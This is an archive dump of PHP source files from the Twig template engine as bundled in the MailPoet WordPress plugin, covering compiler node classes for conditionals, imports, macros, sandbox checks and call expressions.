namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class IfNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(\MailPoetVendor\Twig\Node\Node $tests, \MailPoetVendor\Twig\Node\Node $else = null, int $lineno, string $tag = null) { $nodes = ['tests' => $tests]; if (null !== $else) { $nodes['else'] = $else; } parent::__construct($nodes, [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this); for ($i = 0, $count = \count($this->getNode('tests')); $i < $count; $i += 2) { if ($i > 0) { $compiler->outdent()->write('} elseif ('); } else { $compiler->write('if ('); } $compiler->subcompile($this->getNode('tests')->getNode($i))->raw(") {\n")->indent()->subcompile($this->getNode('tests')->getNode($i + 1)); } if ($this->hasNode('else')) { $compiler->outdent()->write("} else {\n")->indent()->subcompile($this->getNode('else')); } $compiler->outdent()->write("}\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\IfNode', 'MailPoetVendor\\Twig_Node_If'); twig/src/Node/ImportNode.php 0000666 00000002564 15035120623 0011773 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; use MailPoetVendor\Twig\Node\Expression\NameExpression; class ImportNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $expr, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $var, int $lineno, string $tag = null, bool $global = \true) { parent::__construct(['expr' => $expr, 'var' => $var], ['global' => $global], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write('$macros[')->repr($this->getNode('var')->getAttribute('name'))->raw('] = '); if ($this->getAttribute('global')) { $compiler->raw('$this->macros[')->repr($this->getNode('var')->getAttribute('name'))->raw('] = '); } if ($this->getNode('expr') instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression && '_self' === $this->getNode('expr')->getAttribute('name')) { $compiler->raw('$this'); } else { $compiler->raw('$this->loadTemplate(')->subcompile($this->getNode('expr'))->raw(', ')->repr($this->getTemplateName())->raw(', ')->repr($this->getTemplateLine())->raw(')->unwrap()'); } $compiler->raw(";\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\ImportNode', 'MailPoetVendor\\Twig_Node_Import'); twig/src/Node/index.php 0000666 00000000000 15035120623 0011001 0 ustar 00 twig/src/Node/SandboxNode.php 0000666 00000001504 15035120623 0012110 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class SandboxNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(\MailPoetVendor\Twig\Node\Node $body, int $lineno, string $tag = null) { parent::__construct(['body' => $body], [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write("if (!\$alreadySandboxed = \$this->sandbox->isSandboxed()) {\n")->indent()->write("\$this->sandbox->enableSandbox();\n")->outdent()->write("}\n")->subcompile($this->getNode('body'))->write("if (!\$alreadySandboxed) {\n")->indent()->write("\$this->sandbox->disableSandbox();\n")->outdent()->write("}\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\SandboxNode', 'MailPoetVendor\\Twig_Node_Sandbox'); twig/src/Node/CheckSecurityNode.php 0000666 00000004512 15035120623 0013261 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class CheckSecurityNode extends \MailPoetVendor\Twig\Node\Node { private $usedFilters; private $usedTags; private $usedFunctions; public function __construct(array $usedFilters, array $usedTags, array $usedFunctions) { $this->usedFilters = $usedFilters; $this->usedTags = $usedTags; $this->usedFunctions = $usedFunctions; parent::__construct(); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $tags = $filters = $functions = []; foreach (['tags', 'filters', 'functions'] as $type) { foreach ($this->{'used' . \ucfirst($type)} as $name => $node) { if ($node instanceof \MailPoetVendor\Twig\Node\Node) { ${$type}[$name] = $node->getTemplateLine(); } else { ${$type}[$node] = null; } } } $compiler->write("\$this->sandbox = \$this->env->getExtension('\\MailPoetVendor\\Twig\\Extension\\SandboxExtension');\n")->write('$tags = ')->repr(\array_filter($tags))->raw(";\n")->write('$filters = ')->repr(\array_filter($filters))->raw(";\n")->write('$functions = ')->repr(\array_filter($functions))->raw(";\n\n")->write("try {\n")->indent()->write("\$this->sandbox->checkSecurity(\n")->indent()->write(!$tags ? "[],\n" : "['" . \implode("', '", \array_keys($tags)) . "'],\n")->write(!$filters ? "[],\n" : "['" . \implode("', '", \array_keys($filters)) . "'],\n")->write(!$functions ? "[]\n" : "['" . \implode("', '", \array_keys($functions)) . "']\n")->outdent()->write(");\n")->outdent()->write("} catch (SecurityError \$e) {\n")->indent()->write("\$e->setSourceContext(\$this->source);\n\n")->write("if (\$e instanceof SecurityNotAllowedTagError && isset(\$tags[\$e->getTagName()])) {\n")->indent()->write("\$e->setTemplateLine(\$tags[\$e->getTagName()]);\n")->outdent()->write("} elseif (\$e instanceof SecurityNotAllowedFilterError && isset(\$filters[\$e->getFilterName()])) {\n")->indent()->write("\$e->setTemplateLine(\$filters[\$e->getFilterName()]);\n")->outdent()->write("} elseif (\$e instanceof SecurityNotAllowedFunctionError && isset(\$functions[\$e->getFunctionName()])) {\n")->indent()->write("\$e->setTemplateLine(\$functions[\$e->getFunctionName()]);\n")->outdent()->write("}\n\n")->write("throw \$e;\n")->outdent()->write("}\n\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\CheckSecurityNode', 'MailPoetVendor\\Twig_Node_CheckSecurity'); twig/src/Node/CheckToStringNode.php 0000666 00000001264 15035120623 0013224 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; class CheckToStringNode extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { public function __construct(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $expr) { parent::__construct(['expr' => $expr], [], $expr->getTemplateLine(), $expr->getNodeTag()); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $expr = $this->getNode('expr'); $compiler->raw('$this->sandbox->ensureToStringAllowed(')->subcompile($expr)->raw(', ')->repr($expr->getTemplateLine())->raw(', $this->source)'); } } twig/src/Node/MacroNode.php 0000666 00000004474 15035120623 0011564 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Error\SyntaxError; class MacroNode extends \MailPoetVendor\Twig\Node\Node { const VARARGS_NAME = 'varargs'; public function __construct(string $name, \MailPoetVendor\Twig\Node\Node $body, \MailPoetVendor\Twig\Node\Node $arguments, int $lineno, string $tag = null) { foreach ($arguments as $argumentName => $argument) { if (self::VARARGS_NAME === $argumentName) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('The argument "%s" in macro "%s" cannot be defined because the variable "%s" is reserved for arbitrary arguments.', self::VARARGS_NAME, $name, self::VARARGS_NAME), $argument->getTemplateLine(), $argument->getSourceContext()); } } parent::__construct(['body' => $body, 'arguments' => $arguments], ['name' => $name], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write(\sprintf('public function macro_%s(', $this->getAttribute('name'))); $count = \count($this->getNode('arguments')); $pos = 0; foreach ($this->getNode('arguments') as $name => $default) { $compiler->raw('$__' . $name . '__ = ')->subcompile($default); if (++$pos < $count) { $compiler->raw(', '); } } if ($count) { $compiler->raw(', '); } $compiler->raw('...$__varargs__')->raw(")\n")->write("{\n")->indent()->write("\$macros = \$this->macros;\n")->write("\$context = \$this->env->mergeGlobals([\n")->indent(); foreach ($this->getNode('arguments') as $name => $default) { $compiler->write('')->string($name)->raw(' => $__' . $name . '__')->raw(",\n"); } $compiler->write('')->string(self::VARARGS_NAME)->raw(' => '); $compiler->raw("\$__varargs__,\n")->outdent()->write("]);\n\n")->write("\$blocks = [];\n\n"); if ($compiler->getEnvironment()->isDebug()) { $compiler->write("ob_start();\n"); } else { $compiler->write("ob_start(function () { return ''; });\n"); } $compiler->write("try {\n")->indent()->subcompile($this->getNode('body'))->raw("\n")->write("return ('' === \$tmp = ob_get_contents()) ? '' : new Markup(\$tmp, \$this->env->getCharset());\n")->outdent()->write("} finally {\n")->indent()->write("ob_end_clean();\n")->outdent()->write("}\n")->outdent()->write("}\n\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\MacroNode', 'MailPoetVendor\\Twig_Node_Macro'); twig/src/Node/AutoEscapeNode.php 0000666 00000001107 15035120623 0012542 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class AutoEscapeNode extends \MailPoetVendor\Twig\Node\Node { public function __construct($value, \MailPoetVendor\Twig\Node\Node $body, int $lineno, string $tag = 'autoescape') { parent::__construct(['body' => $body], ['value' => $value], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->subcompile($this->getNode('body')); } } \class_alias('MailPoetVendor\\Twig\\Node\\AutoEscapeNode', 'MailPoetVendor\\Twig_Node_AutoEscape'); twig/src/Node/BlockReferenceNode.php 0000666 00000001250 15035120623 0013361 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class BlockReferenceNode extends \MailPoetVendor\Twig\Node\Node implements \MailPoetVendor\Twig\Node\NodeOutputInterface { public function __construct(string $name, int $lineno, string $tag = null) { parent::__construct([], ['name' => $name], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write(\sprintf("\$this->displayBlock('%s', \$context, \$blocks);\n", $this->getAttribute('name'))); } } \class_alias('MailPoetVendor\\Twig\\Node\\BlockReferenceNode', 'MailPoetVendor\\Twig_Node_BlockReference'); twig/src/Node/Expression/Test/SameasTest.php 0000666 00000001116 15035120623 0015032 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\TestExpression; class SameasTest extends \MailPoetVendor\Twig\Node\Expression\TestExpression { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('(')->subcompile($this->getNode('node'))->raw(' === ')->subcompile($this->getNode('arguments')->getNode(0))->raw(')'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Test\\SameasTest', 'MailPoetVendor\\Twig_Node_Expression_Test_Sameas'); twig/src/Node/Expression/Test/DivisiblebyTest.php 0000666 00000001140 15035120623 0016063 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\TestExpression; class DivisiblebyTest extends \MailPoetVendor\Twig\Node\Expression\TestExpression { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('(0 == ')->subcompile($this->getNode('node'))->raw(' % ')->subcompile($this->getNode('arguments')->getNode(0))->raw(')'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Test\\DivisiblebyTest', 'MailPoetVendor\\Twig_Node_Expression_Test_Divisibleby'); twig/src/Node/Expression/Test/NullTest.php 0000666 00000001016 15035120623 0014532 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\TestExpression; class NullTest extends \MailPoetVendor\Twig\Node\Expression\TestExpression { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('(null === ')->subcompile($this->getNode('node'))->raw(')'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Test\\NullTest', 'MailPoetVendor\\Twig_Node_Expression_Test_Null'); twig/src/Node/Expression/Test/ConstantTest.php 0000666 00000001375 15035120623 0015421 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\TestExpression; class ConstantTest extends \MailPoetVendor\Twig\Node\Expression\TestExpression { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('(')->subcompile($this->getNode('node'))->raw(' === constant('); if ($this->getNode('arguments')->hasNode(1)) { $compiler->raw('get_class(')->subcompile($this->getNode('arguments')->getNode(1))->raw(')."::".'); } $compiler->subcompile($this->getNode('arguments')->getNode(0))->raw('))'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Test\\ConstantTest', 'MailPoetVendor\\Twig_Node_Expression_Test_Constant'); twig/src/Node/Expression/Test/OddTest.php 0000666 00000001024 15035120623 0014325 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\TestExpression; class OddTest extends \MailPoetVendor\Twig\Node\Expression\TestExpression { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('(')->subcompile($this->getNode('node'))->raw(' % 2 == 1')->raw(')'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Test\\OddTest', 'MailPoetVendor\\Twig_Node_Expression_Test_Odd'); twig/src/Node/Expression/Test/index.php 0000666 00000000000 15035120623 0014057 0 ustar 00 twig/src/Node/Expression/Test/EvenTest.php 0000666 00000001027 15035120623 0014517 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\TestExpression; class EvenTest extends \MailPoetVendor\Twig\Node\Expression\TestExpression { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('(')->subcompile($this->getNode('node'))->raw(' % 2 == 0')->raw(')'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Test\\EvenTest', 'MailPoetVendor\\Twig_Node_Expression_Test_Even'); twig/src/Node/Expression/Test/DefinedTest.php 0000666 00000005211 15035120623 0015157 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\Expression\ArrayExpression; use MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Expression\FunctionExpression; use MailPoetVendor\Twig\Node\Expression\GetAttrExpression; use MailPoetVendor\Twig\Node\Expression\MethodCallExpression; use MailPoetVendor\Twig\Node\Expression\NameExpression; use MailPoetVendor\Twig\Node\Expression\TestExpression; use MailPoetVendor\Twig\Node\Node; class DefinedTest extends \MailPoetVendor\Twig\Node\Expression\TestExpression { public function __construct(\MailPoetVendor\Twig\Node\Node $node, string $name, \MailPoetVendor\Twig\Node\Node $arguments = null, int $lineno) { if ($node instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression) { $node->setAttribute('is_defined_test', \true); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\GetAttrExpression) { $node->setAttribute('is_defined_test', \true); $this->changeIgnoreStrictCheck($node); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression) { $node->setAttribute('is_defined_test', \true); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\FunctionExpression && 'constant' === $node->getAttribute('name')) { $node->setAttribute('is_defined_test', \true); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression || $node instanceof \MailPoetVendor\Twig\Node\Expression\ArrayExpression) { $node = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression(\true, $node->getTemplateLine()); } elseif ($node instanceof \MailPoetVendor\Twig\Node\Expression\MethodCallExpression) { $node->setAttribute('is_defined_test', \true); } else { throw new \MailPoetVendor\Twig\Error\SyntaxError('The "defined" test only works with simple variables.', $lineno); } parent::__construct($node, $name, $arguments, $lineno); } private function changeIgnoreStrictCheck(\MailPoetVendor\Twig\Node\Expression\GetAttrExpression $node) { $node->setAttribute('optimizable', \false); $node->setAttribute('ignore_strict_check', \true); if ($node->getNode('node') instanceof \MailPoetVendor\Twig\Node\Expression\GetAttrExpression) { $this->changeIgnoreStrictCheck($node->getNode('node')); } } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->subcompile($this->getNode('node')); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Test\\DefinedTest', 'MailPoetVendor\\Twig_Node_Expression_Test_Defined'); twig/src/Node/Expression/ArrayExpression.php 0000666 00000003432 15035120623 0015203 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class ArrayExpression extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { private $index; public function __construct(array $elements, int $lineno) { parent::__construct($elements, [], $lineno); $this->index = -1; foreach ($this->getKeyValuePairs() as $pair) { if ($pair['key'] instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression && \ctype_digit((string) $pair['key']->getAttribute('value')) && $pair['key']->getAttribute('value') > $this->index) { $this->index = $pair['key']->getAttribute('value'); } } } public function getKeyValuePairs() { $pairs = []; foreach (\array_chunk($this->nodes, 2) as $pair) { $pairs[] = ['key' => $pair[0], 'value' => $pair[1]]; } return $pairs; } public function hasElement(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $key) { foreach ($this->getKeyValuePairs() as $pair) { if ((string) $key === (string) $pair['key']) { return \true; } } return \false; } public function addElement(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $value, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $key = null) { if (null === $key) { $key = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression(++$this->index, $value->getTemplateLine()); } \array_push($this->nodes, $key, $value); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('['); $first = \true; foreach ($this->getKeyValuePairs() as $pair) { if (!$first) { $compiler->raw(', '); } $first = \false; $compiler->subcompile($pair['key'])->raw(' => ')->subcompile($pair['value']); } $compiler->raw(']'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\ArrayExpression', 'MailPoetVendor\\Twig_Node_Expression_Array'); twig/src/Node/Expression/index.php 0000666 00000000000 15035120623 0013140 0 ustar 00 twig/src/Node/Expression/NullCoalesceExpression.php 0000666 00000003312 15035120623 0016473 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\Binary\AndBinary; use MailPoetVendor\Twig\Node\Expression\Test\DefinedTest; use MailPoetVendor\Twig\Node\Expression\Test\NullTest; use MailPoetVendor\Twig\Node\Expression\Unary\NotUnary; use MailPoetVendor\Twig\Node\Node; class NullCoalesceExpression extends \MailPoetVendor\Twig\Node\Expression\ConditionalExpression { public function __construct(\MailPoetVendor\Twig\Node\Node $left, \MailPoetVendor\Twig\Node\Node $right, int $lineno) { $test = new \MailPoetVendor\Twig\Node\Expression\Test\DefinedTest(clone $left, 'defined', new \MailPoetVendor\Twig\Node\Node(), $left->getTemplateLine()); if (!$left instanceof \MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression) { $test = new \MailPoetVendor\Twig\Node\Expression\Binary\AndBinary($test, new \MailPoetVendor\Twig\Node\Expression\Unary\NotUnary(new \MailPoetVendor\Twig\Node\Expression\Test\NullTest($left, 'null', new \MailPoetVendor\Twig\Node\Node(), $left->getTemplateLine()), $left->getTemplateLine()), $left->getTemplateLine()); } parent::__construct($test, $left, $right, $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { if ($this->getNode('expr2') instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression) { $this->getNode('expr2')->setAttribute('always_defined', \true); $compiler->raw('((')->subcompile($this->getNode('expr2'))->raw(') ?? (')->subcompile($this->getNode('expr3'))->raw('))'); } else { parent::compile($compiler); } } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\NullCoalesceExpression', 'MailPoetVendor\\Twig_Node_Expression_NullCoalesce'); twig/src/Node/Expression/TestExpression.php 0000666 00000002077 15035120623 0015050 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Node; class TestExpression extends \MailPoetVendor\Twig\Node\Expression\CallExpression { public function __construct(\MailPoetVendor\Twig\Node\Node $node, string $name, \MailPoetVendor\Twig\Node\Node $arguments = null, int $lineno) { $nodes = ['node' => $node]; if (null !== $arguments) { $nodes['arguments'] = $arguments; } parent::__construct($nodes, ['name' => $name], $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $name = $this->getAttribute('name'); $test = $compiler->getEnvironment()->getTest($name); $this->setAttribute('name', $name); $this->setAttribute('type', 'test'); $this->setAttribute('arguments', $test->getArguments()); $this->setAttribute('callable', $test->getCallable()); $this->setAttribute('is_variadic', $test->isVariadic()); $this->compileCallable($compiler); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\TestExpression', 'MailPoetVendor\\Twig_Node_Expression_Test'); twig/src/Node/Expression/CallExpression.php 0000666 00000022302 15035120623 0014775 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Extension\ExtensionInterface; use MailPoetVendor\Twig\Node\Node; abstract class CallExpression extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { private $reflector; protected function compileCallable(\MailPoetVendor\Twig\Compiler $compiler) { $callable = $this->getAttribute('callable'); $closingParenthesis = \false; $isArray = \false; if (\is_string($callable) && \false === \strpos($callable, '::')) { $compiler->raw($callable); } else { list($r, $callable) = $this->reflectCallable($callable); if ($r instanceof \ReflectionMethod && \is_string($callable[0])) { if ($r->isStatic()) { $compiler->raw(\sprintf('%s::%s', $callable[0], $callable[1])); } else { $compiler->raw(\sprintf('$this->env->getRuntime(\'%s\')->%s', $callable[0], $callable[1])); } } elseif ($r instanceof \ReflectionMethod && $callable[0] instanceof \MailPoetVendor\Twig\Extension\ExtensionInterface) { $class = (new \ReflectionClass(\get_class($callable[0])))->name; if (!$compiler->getEnvironment()->hasExtension($class)) { $compiler->raw(\sprintf('$this->env->getExtension(\'%s\')', $class)); } else { $compiler->raw(\sprintf('$this->extensions[\'%s\']', \ltrim($class, '\\'))); } $compiler->raw(\sprintf('->%s', $callable[1])); } else { $closingParenthesis = \true; $isArray = \true; $compiler->raw(\sprintf('call_user_func_array($this->env->get%s(\'%s\')->getCallable(), ', \ucfirst($this->getAttribute('type')), $this->getAttribute('name'))); } } $this->compileArguments($compiler, $isArray); if ($closingParenthesis) { $compiler->raw(')'); } } protected function compileArguments(\MailPoetVendor\Twig\Compiler $compiler, $isArray = \false) { $compiler->raw($isArray ? '[' : '('); $first = \true; if ($this->hasAttribute('needs_environment') && $this->getAttribute('needs_environment')) { $compiler->raw('$this->env'); $first = \false; } if ($this->hasAttribute('needs_context') && $this->getAttribute('needs_context')) { if (!$first) { $compiler->raw(', '); } $compiler->raw('$context'); $first = \false; } if ($this->hasAttribute('arguments')) { foreach ($this->getAttribute('arguments') as $argument) { if (!$first) { $compiler->raw(', '); } $compiler->string($argument); $first = \false; } } if ($this->hasNode('node')) { if (!$first) { $compiler->raw(', '); } $compiler->subcompile($this->getNode('node')); $first = \false; } if ($this->hasNode('arguments')) { $callable = $this->getAttribute('callable'); $arguments = $this->getArguments($callable, $this->getNode('arguments')); foreach ($arguments as $node) { if (!$first) { $compiler->raw(', '); } $compiler->subcompile($node); $first = \false; } } $compiler->raw($isArray ? ']' : ')'); } protected function getArguments($callable = null, $arguments) { $callType = $this->getAttribute('type'); $callName = $this->getAttribute('name'); $parameters = []; $named = \false; foreach ($arguments as $name => $node) { if (!\is_int($name)) { $named = \true; $name = $this->normalizeName($name); } elseif ($named) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Positional arguments cannot be used after named arguments for %s "%s".', $callType, $callName), $this->getTemplateLine(), $this->getSourceContext()); } $parameters[$name] = $node; } $isVariadic = $this->hasAttribute('is_variadic') && $this->getAttribute('is_variadic'); if (!$named && !$isVariadic) { return $parameters; } if (!$callable) { if ($named) { $message = \sprintf('Named arguments are not supported for %s "%s".', $callType, $callName); } else { $message = \sprintf('Arbitrary positional arguments are not supported for %s "%s".', $callType, $callName); } throw new \LogicException($message); } list($callableParameters, $isPhpVariadic) = $this->getCallableParameters($callable, $isVariadic); $arguments = []; $names = []; $missingArguments = []; $optionalArguments = []; $pos = 0; foreach ($callableParameters as $callableParameter) { $names[] = $name = $this->normalizeName($callableParameter->name); if (\array_key_exists($name, $parameters)) { if (\array_key_exists($pos, $parameters)) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Argument "%s" is defined twice for %s "%s".', $name, $callType, $callName), $this->getTemplateLine(), $this->getSourceContext()); } if (\count($missingArguments)) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Argument "%s" could not be assigned for %s "%s(%s)" because it is mapped to an internal PHP function which cannot determine default value for optional argument%s "%s".', $name, $callType, $callName, \implode(', ', $names), \count($missingArguments) > 1 ? 's' : '', \implode('", "', $missingArguments)), $this->getTemplateLine(), $this->getSourceContext()); } $arguments = \array_merge($arguments, $optionalArguments); $arguments[] = $parameters[$name]; unset($parameters[$name]); $optionalArguments = []; } elseif (\array_key_exists($pos, $parameters)) { $arguments = \array_merge($arguments, $optionalArguments); $arguments[] = $parameters[$pos]; unset($parameters[$pos]); $optionalArguments = []; ++$pos; } elseif ($callableParameter->isDefaultValueAvailable()) { $optionalArguments[] = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression($callableParameter->getDefaultValue(), -1); } elseif ($callableParameter->isOptional()) { if (empty($parameters)) { break; } else { $missingArguments[] = $name; } } else { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Value for argument "%s" is required for %s "%s".', $name, $callType, $callName), $this->getTemplateLine(), $this->getSourceContext()); } } if ($isVariadic) { $arbitraryArguments = $isPhpVariadic ? new \MailPoetVendor\Twig\Node\Expression\VariadicExpression([], -1) : new \MailPoetVendor\Twig\Node\Expression\ArrayExpression([], -1); foreach ($parameters as $key => $value) { if (\is_int($key)) { $arbitraryArguments->addElement($value); } else { $arbitraryArguments->addElement($value, new \MailPoetVendor\Twig\Node\Expression\ConstantExpression($key, -1)); } unset($parameters[$key]); } if ($arbitraryArguments->count()) { $arguments = \array_merge($arguments, $optionalArguments); $arguments[] = $arbitraryArguments; } } if (!empty($parameters)) { $unknownParameter = null; foreach ($parameters as $parameter) { if ($parameter instanceof \MailPoetVendor\Twig\Node\Node) { $unknownParameter = $parameter; break; } } throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unknown argument%s "%s" for %s "%s(%s)".', \count($parameters) > 1 ? 's' : '', \implode('", "', \array_keys($parameters)), $callType, $callName, \implode(', ', $names)), $unknownParameter ? $unknownParameter->getTemplateLine() : $this->getTemplateLine(), $unknownParameter ? $unknownParameter->getSourceContext() : $this->getSourceContext()); } return $arguments; } protected function normalizeName($name) { return \strtolower(\preg_replace(['/([A-Z]+)([A-Z][a-z])/', '/([a-z\\d])([A-Z])/'], ['\\1_\\2', '\\1_\\2'], $name)); } private function getCallableParameters($callable, bool $isVariadic) : array { list($r) = $this->reflectCallable($callable); if (null === $r) { return [[], \false]; } $parameters = $r->getParameters(); if ($this->hasNode('node')) { \array_shift($parameters); } if ($this->hasAttribute('needs_environment') && $this->getAttribute('needs_environment')) { \array_shift($parameters); } if ($this->hasAttribute('needs_context') && $this->getAttribute('needs_context')) { \array_shift($parameters); } if ($this->hasAttribute('arguments') && null !== $this->getAttribute('arguments')) { foreach ($this->getAttribute('arguments') as $argument) { \array_shift($parameters); } } $isPhpVariadic = \false; if ($isVariadic) { $argument = \end($parameters); if ($argument && $argument->isArray() && $argument->isDefaultValueAvailable() && [] === $argument->getDefaultValue()) { \array_pop($parameters); } elseif ($argument && $argument->isVariadic()) { \array_pop($parameters); $isPhpVariadic = \true; } else { $callableName = $r->name; if ($r instanceof \ReflectionMethod) { $callableName = $r->getDeclaringClass()->name . '::' . $callableName; } throw new \LogicException(\sprintf('The last parameter of "%s" for %s "%s" must be an array with default value, eg. "array $arg = []".', $callableName, $this->getAttribute('type'), $this->getAttribute('name'))); } } return [$parameters, $isPhpVariadic]; } private function reflectCallable($callable) { if (null !== $this->reflector) { return $this->reflector; } if (\is_array($callable)) { if (!\method_exists($callable[0], $callable[1])) { return [null, []]; } $r = new \ReflectionMethod($callable[0], $callable[1]); } elseif (\is_object($callable) && !$callable instanceof \Closure) { $r = new \ReflectionObject($callable); $r = $r->getMethod('__invoke'); $callable = [$callable, '__invoke']; } elseif (\is_string($callable) && \false !== ($pos = \strpos($callable, '::'))) { $class = \substr($callable, 0, $pos); $method = \substr($callable, $pos + 2); if (!\method_exists($class, $method)) { return [null, []]; } $r = new \ReflectionMethod($callable); $callable = [$class, $method]; } else { $r = new \ReflectionFunction($callable); } return $this->reflector = [$r, $callable]; } } 